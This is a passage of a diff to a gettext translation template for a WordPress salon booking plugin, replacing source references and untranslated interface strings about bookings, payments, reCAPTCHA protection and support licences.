msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:317, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:317, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:317\n-msgid \"PHP sessions are not active. The booking process requires sessions to work properly.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14\n+msgid \"You will receive a confirmation of your booking by email.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:326, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:326, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:326\n-msgid \"Session data cannot be stored. Please enable cookies and sessions in your browser.\"\n+#. %s will be replaced by the number of seconds\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13\n+#, php-format\n+msgid \"You'll be redirected in %s seconds\"\n msgstr \"\"\n \n-#. translators: %s is the website administrator email address\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:353, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:353, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:353\n-msgid \"If the problem persists after enabling cookies and refreshing this page, please report this issue to the website administrator at %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fpending.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:8\n+msgid \"you'll recevi an email when approved.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:15\n-msgid \"Your session has expired. Please start the booking process again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:128\n+msgid \"\"\n+\"Your Basic plan is active. Move up to Business for more included add-ons, \"\n+\"higher limits, and advanced features for growing salons.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:36\n-msgid \"Booking data was lost. Please start the booking process again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:278\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:278\n+msgid \"Your booking is awaiting payment.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:315, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:315, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:315, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:316, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:315, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:315\n-msgid \"Booking summary\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43\n+msgid \"Your booking is completed\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12\n-msgid \"Wrong Nonce.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:276\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:276\n+msgid \"Your booking is confirmed and paid!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89\n-msgid \"Something goes wrong\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:275\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:275\n+msgid \"Your booking is confirmed!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:106\n-msgid \"Booking data not found. Your session may have expired. Please start the booking process again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43\n+msgid \"Your booking is pending\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:415, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:415, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:415\n-msgid \"Unable to create booking: \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:277\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:277\n+msgid \"Your booking is pending confirmation.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_message_text.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_message_text.php:28\n+msgid \"Your booking is pending, please await our confirmation.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:90\n+msgid \"\"\n+\"Your booking session has expired. Please start a new booking to apply a \"\n+\"discount code.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:201\n+msgid \"\"\n+\"Your booking system has an additional layer of protection against brute \"\n+\"force attacks.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:124\n+msgid \"\"\n+\"Your booking system is now protected against automated bot attacks. All \"\n+\"booking submissions will be verified by reCAPTCHA.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:115\n+msgid \"Your Cache Warmer URL:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:105\n+msgid \"Your CodeCanyon support for\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_current_score.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_current_score.php:9\n+msgid \"YOUR CURRENT SCORE*\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16\n+msgid \"your customers\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Ftrial\u002Fadmin_end.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_end.php:3\n+msgid \"\"\n+\"Your free version is expired. \u003Ca href=\\\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-\"\n+\"booking-plugin-pricing\u002F\\\" target=\\\"blank\\\">Please upgrade Salon Booking to a \"\n+\"PRO version\u003C\u002Fa>.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72\n+msgid \"Your Google calendars\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FPaypal.php:168\n+msgid \"Your payment has not been completed\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:6\n+msgid \"Your PayPal account e-mail\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:329\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:329\n+msgid \"Your purchase code is correct\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:144\n+msgid \"\"\n+\"Your reCAPTCHA keys are configured, but protection is disabled. Check the \"\n+\"\\\"Enable reCAPTCHA Protection\\\" box above and save to activate bot \"\n+\"protection.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fsummary.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary.php:33\n+msgid \"Your reservation at [SALON NAME] has been modified\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:29\n+msgid \"Your salon name\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:211\n+msgid \"\"\n+\"Your site is more vulnerable to brute force bot attacks. Enable rate \"\n+\"limiting for better protection.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144\n+msgid \"\"\n+\"Your SMS notifications stopped working because IP1SMS has shut down the old \"\n+\"API. You need to migrate immediately!\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:354\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:354\n+msgid \"Your support has expired\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:387\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:387\n+msgid \"Your support is active\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:416\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:416\n+msgid \"\"\n+\"Your support will expire soon. Consider renewing to continue 